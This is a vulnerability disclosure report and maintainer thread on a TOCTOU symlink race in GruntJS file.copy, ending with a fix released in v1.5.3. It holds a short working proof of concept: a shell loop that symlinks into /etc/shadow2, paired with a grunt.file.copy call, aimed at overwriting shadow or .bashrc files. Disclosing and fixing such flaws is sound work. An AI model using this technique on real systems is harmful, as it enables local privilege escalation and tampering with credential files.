file.copy operations in GruntJS are vulnerable to a TOCTOU race condition leading to arbitrary file write in gruntjs/grunt
Reported on
Apr 12th 2022
Description
file.copy operations in GruntJS are vulnerable to a TOC-TOU race condition leading to arbitrary file write when an attacker can create a symlink just after deletion of the dest symlink (by repeatedly calling ln -s /etc/shadow2 dest/shadow2 in a while loop) but right before the symlink is written to. I hypothesised this and mentioned this earlier in my last comment in my previous report but it remained unresolved, so I have managed to reproduce it in the following PoC:
Proof of Concept
1: As a lower-privileged user:
mkdir src
mkdir dest
echo "<overwrite shadow file here>" > src/shadow2
while true; do ln -s /etc/shadow2 dest/shadow2; done;
2: Now execute the following PoC:
grunt = require('grunt')
grunt.file.copy("src", "dest")
3: /etc/shadow2 is overwritten
<overwrite shadow file here>
Impact
This vulnerability is capable of arbitrary file writes which can lead to local privilege escalation to the GruntJS user if a lower-privileged user has write access to both source and destination directories as the lower-privileged user can create a symlink to the GruntJS user's .bashrc file or replace /etc/shadow file if the GruntJS user is root.
Occurrences
I was thinking of how more specifically to resolve this, one way I hypothesiseis check if the destination file is a symlink, if it is, use fs.renameSync rather than file.write, as fs.renameSync in node doesn't follow symlinks.
I've investigated a bit and ShellJS will copy the src directory to the dest directory so I don't think that is applicable (src => dest/src)
Bestest way I can think of (without breaking much) is to skip the write if destpath is a symlink (ie.)
if (contents === false || file.isLink(destpath)) {
grunt.verbose.writeln('Write aborted. Either the process function returned false or the destination is a symlink');
} else {
file.write(destpath, contents, readWriteOptions);
}
In the meantime, do we consider this report to be a valid vulnerability? If so, feel free to mark as valid using resolve below 👍
Quick update, I have PR live but Windows is throwing errors at this time in CI https://github.com/gruntjs/grunt/pull/1745 Will need to investigate, might be a quick fix
Great Vlad, thanks for the update. Once you are ready, feel free to mark as fixed :)
Still debugging Windows tests failing in https://github.com/gruntjs/grunt/pull/1745
https://github.com/gruntjs/grunt/releases/tag/v1.5.3 released with the fix , thanks!